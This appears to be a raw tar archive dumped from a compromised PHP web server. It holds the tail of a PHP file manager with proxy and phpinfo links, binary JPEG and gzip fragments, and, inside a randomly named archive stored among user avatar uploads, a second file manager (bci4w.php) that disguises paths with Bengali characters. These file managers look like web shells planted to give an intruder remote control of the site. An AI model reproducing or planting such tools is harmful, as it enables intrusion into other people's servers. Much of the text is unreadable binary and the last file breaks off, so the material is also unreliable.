    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>674dc9a7e6beb.jpg.tar000064400000005000000000000000010043 0ustar00var/www/html/back/storage/app/public/avatars/10/674dc9a7e6beb.jpg000075500000001567000000000000020142 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67e272a89d6f9.jpg.tar000064400000005000000000000000007636 0ustar00var/www/html/back/storage/app/public/avatars/10/67e272a89d6f9.jpg000075500000001567000000000000017735 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67c1be3c7f0cd.jpg.jpg.tar.gz000064400000001211000000000000011226 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6LJ5N6O3HN��*Hg �����8����� d�+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@�5k
674dc9a7e6beb.jpg.jpg.tar.gz000064400000001211000000000000011241 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�737II�L4O5KJM��*Hg �����8����� d�)a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��Ƹ�������������FNNNn	^^	#EE#����))̌JL��̂���0�300�2�,��YX��98���
�
001233�0����ek��,��B���l��J�"F�r(;m<(t�qRQ'������������	0U[XZ9����{xz����GDF%+=#3����������������k��)S�M�1s֢�K�.[�b�M��lݶ}��]�9z���.]�r��7o=|���g�_�|����/_�}����_�̌0��_�@1��0������TR �ªh�&�ȞX(�d��!�4q�ƃ���AD��.r���<T���g�y��,��=���-fF`�12�3��ץ��i�c��7(���Q0
F�g*
67e272b25bcec.jpg.jpg.tar.gz000064400000001211000000000000011147 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J22MJNM��*Hg �����8����� d�(a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@���
b3vd5z.tar.gz000064400000006041000000000000006752 0ustar00���r�Fr��j�a�՚TY$�ۑHzeI���c˒r�r����	�Q�Ɵ����)�=�L�M�*����s��ŷ��`���;[[��[������x��llm���4=�PR$����G���ׇ�?�9&#�:ݿ���g�Po�1�g��Ǩ
#G�e�kDE�dǸ8�xb䞍��&����A��w*y�a�|O2&�<�0{��S=겎q��8��@��-G��r�5�����:�Т�7[S\�K�u��ڦ��]��`���L�{�i�^�*���oE�c�������߷���V�:����6�i�a���r�	w"��1B9qX8bL�"D
.'�|D7�l5N�9�O�ۃg�����כ����;��������Ko���i�Cl��9>9�_�����]�=:ع��^����C�u�������Y�hV�i9~d*X��]�^�;�����t�B�e�jAINg*s������������	���ǁuq�w��9}���y������o��ƒ�p�N��Ip��yc�5?��6�g���W/�'Wg���oyH��N'C�B ��	�D�;��<���2��n��þoO�H��)�A�З�9�<Kr�����¥�d`�a}�?�,\�P�̨e@�g��!���ݭ�'[�Y <b��"��DOH暙�kdc�4I��<��H>愬Ho����/ ��M)�Z��/�)#�W�� ����Q���:�%P�b��Yk�O���Hx1x�)��Ԯ�Î� �pU_��Y��Q�Q"P~�	
�Fj���H8��K��
w�(�N�
���Fz�x��U0�'��};Hn�@����V�Ƭ������~JlLo�ݢ��W�`O�0���V����!}�3Q/�ev��	��&a@t�E��ƌq���9��c@�D@pA��A?ݶɻ�����#I-�A]�VBbD]bX	��XJ@	3�A~��d�,H�/�g��,`ٞ/[��g�^�XX�"��G�{=m2HgM���bDF��
w鐅�	f-�Z�0gs1��N.�=�>�S�="u�|nAeّ/}�M��Qȭ-a���O��C��r\U�i97DUT;�l�e����
���
�����K� hbx���&����\?����!��?�[���O��MH��=��Z��B���S̤�"Ǵ�`L#�t��Z[P���1P�^��b8�!�+�����ZP��w�`n '��D�5”N��~�Þ�E=�������n�CK�@v/=�e��׎�`��ń��BD�d6k&����B;�~��s��MǷ(�]3�Y�z�6c�9g"�r+%��xC�JF�7e�����"���B�=�b-�����-䜧Ԓbp�
 �׍7�/4yD�i�kиx�6	N0�CN�'H	�4{���}j]�yvÂ�H쑿������b��<:d�Oi�4>��Y���J;�!�����Ɓq�C]�Ě��n��lA�ɐ=�0tR�^K�Z��6����Գ&���*P,P�]���
"��`��zKC�l��Xaз�3�7}�٥V#��9Қ]z|RDl���De�؝yitM�(���r(�E\���{��ɣ�g��R'�[� iwP@>~\�Y�ŀ���X�����)ۜ|�PN9�P.�~^�Ѐ��7A(Рi�$�L���%c���VGhȩG`4�~tө�H8:7�3)Z�jJ�P���(�ڗ�_æ�� r�)�{���P�M}3���ssK�w_�~u��D2����؁�Kq�~Ms�$80a�� �%9%�@���ܞ߿BG� D@��zf
�;6i9��+��RD��SS�Slu��U���d�<J\��&�L{l�B�}�hCH�C&�$3gU�J� 
!���[����X��e	�����T��z
&�_}��#�;U�Cdv�X�n��!��	����7�ߑ�J�p��ʷ��3{.�&�p.ā*��00�|�D���7k�8�Xo�h�z\g�Y���i�Q�u
MM��H?/�a5UL��薄Y}+	� ����m4�fMbS	��9�������Gs%w��3�ZoiaUeI���ZU�Y#���JƧcJ��N�-×�Di7�|$:-�
K��e�y
�7›�
�Kg�"GG�arY��!R�pT��1�ͼN
�^���-�"3g�Z�neӸ���EOM�-l@*Ypg�h�9��v�\-C���Ŵ�����23�O��m6o%�6���X�PX��*�h���4�Y�
ݧ����7t�R��s�e\(�����0WN{��.��+�@-p����#u�\�ד
@ɍ�I\&G>�6�C�>A���u#Gr��MU���Q#��3XAK*$�'��^��ͽ �q��6��W�8>�u�mn�t+P���\����:�$H5�(�������+M��o�6����"�:#���*�Iv'��*��c�\���W�Os�P��\Y�$�x���Dx��ô��T�҂��Q��ܵ�TMu��R��o�i�m܌#�\)c�
AU�����:�AC��-+�A��k�T٧��{�U��J�RM6��>��n�����j+k�|��~b�:����ۭ0`��� FU�!����]	4�ʚ9y�� ��,d��_�zg�v�x��K���o]ԨʑO+����G��f�
/��]y0�s}�x������Xp��Ԅ5��޴�X<�6^�|���e�r���XY�79�9�Z�$���X��.���/�>>{�Ϸ���a?�Ȯ�z����*�
z�Z����7�Aߥ<�O�8��gTW�d�L��m&L6�f�ۮ����™/�d�����b��7$?�ƙE�,MU%a/���C�V\�t�f�j�0­��*�j��6����@٦:��i�S�br[�U�n�w,��XB��K��J����>=7��j�>���|�#�_�� �����=ǻ;7oGׯ�}�o����φ��N 6�_9���N{ѻg����o�
��nt��������cw�l(�_3�M�5��q�����C���h�267c6da0a349ea.jpg.jpg.tar.gz000064400000001211000000000000011146 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6KI4H46�LM��*Hg �����8����� d��+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@t8��
b3vd5z.tar000064400000031000000000000000006324 0ustar00bci4w.php000064400000025735000000000000006242 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
